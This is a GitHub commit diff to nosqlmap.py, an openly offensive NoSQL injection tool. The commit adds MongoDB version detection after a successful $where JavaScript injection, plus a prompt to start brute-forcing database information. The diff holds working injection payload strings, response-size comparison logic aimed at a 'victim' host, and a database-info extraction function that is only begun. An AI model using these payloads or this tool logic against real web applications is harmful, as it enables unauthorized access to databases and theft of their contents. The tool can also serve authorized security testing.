Skip to content

Commit 0b4aaf2

Browse files
committed
Added booleans for version detection
1 parent 933bf94 commit 0b4aaf2

File tree

1 file changed

+23
-1
lines changed

1 file changed

+23
-1
lines changed

nosqlmap.py

Lines changed: 23 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -408,6 +408,7 @@ def webApps():
408408
intTbAttack = False
409409
trueStr = False
410410
trueInt = False
411+
lt24 = False
411412

412413
#Verify app is working.
413414
print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..."
@@ -483,6 +484,8 @@ def webApps():
483484

484485
if (whereStrDelta >= 100) and (whereStrLen > 0):
485486
print "Java $where escape varied " + str(whereStrDelta) + " bytes from random parameter value! Where injection works!"
487+
lt24 = True
488+
str24 = True
486489
vulnAddrs.append(uriArray[2])
487490

488491
elif (whereStrDelta > 0) and (whereStrDelta < 100) and (whereStrLen - randLength > 0):
@@ -505,6 +508,8 @@ def webApps():
505508

506509
if (whereIntDelta >= 100) and (whereIntLen - randLength > 0):
507510
print "Java $where escape varied " + str(whereIntDelta) + " bytes from random parameter! Where injection works!"
511+
lt24 = True
512+
int24 = True
508513
vulnAddrs.append(uriArray[3])
509514

510515
elif (whereIntDelta > 0) and (whereIntDelta < 100) and (whereIntLen - randLength > 0):
@@ -529,6 +534,8 @@ def webApps():
529534

530535
if (whereOneStrDelta >= 100) and (whereOneStrLen - randLength > 0):
531536
print "Java $where escape varied " + str(whereOneStrDelta) + " bytes from random parameter value! Where injection works!"
537+
lt24 = True
538+
str24 = True
532539
vulnAddrs.append(uriArray[4])
533540

534541
elif (whereOneStrDelta > 0) and (whereOneStrDelta < 100) and (whereOneStrLen - randLength > 0):
@@ -552,6 +559,8 @@ def webApps():
552559

553560
if (whereOneIntDelta >= 100) and (whereOneIntLen - randLength > 0):
554561
print "Java $where escape varied " + str(whereOneIntDelta) + " bytes from random parameter! Where injection works!"
562+
lt24 = True
563+
int24 = True
555564
vulnAddrs.append(uriArray[5])
556565

557566
elif (whereOneIntDelta > 0) and (whereOneIntDelta < 100) and (whereOneIntLen - randLength > 0):
@@ -649,6 +658,13 @@ def webApps():
649658
print "HTTP load time variance was only " + str(intTimeDelta) + "seconds. Injection probably didn't work."
650659
intTbAttack = False
651660

661+
if lt24 == True:
662+
bfInfo = raw_input("MongoDB < 2.4 detected. Start brute forcing database info (y/n)? ")
663+
664+
if bfInfo == "y" or bfInfo == "Y":
665+
getDBInfo()
666+
667+
652668
print "\n"
653669
print "Vunerable URLs:"
654670
print "\n".join(vulnAddrs)
@@ -816,7 +832,7 @@ def buildUri(origUri, randValue):
816832
uriArray[14] += paramName[x] + "a'; return true; var dum=a'"
817833
uriArray[15] += paramName[x] + "1; return true; var dum=2"
818834
#Add values that can be manipulated for database attacks
819-
uriArray[16] += paramName[x] + "=a'; if ---"
835+
uriArray[16] += paramName[x] + "=a\"; if ---"
820836
uriArray[17] += paramName[x] + "=1; if ---"
821837

822838
else:
@@ -1016,4 +1032,10 @@ def brute_pass(user,key):
10161032
print "Password not found for "+user
10171033
return ""
10181034

1035+
def getDBInfo():
1036+
print "Getting baseline True query return size..."
1037+
trueUri = uriArray[17].replace("---","a\'; return True; var dummy ='!")
1038+
1039+
print "Calculating DB name length..."
1040+
10191041
mainMenu()

0 commit comments

Comments
 (0)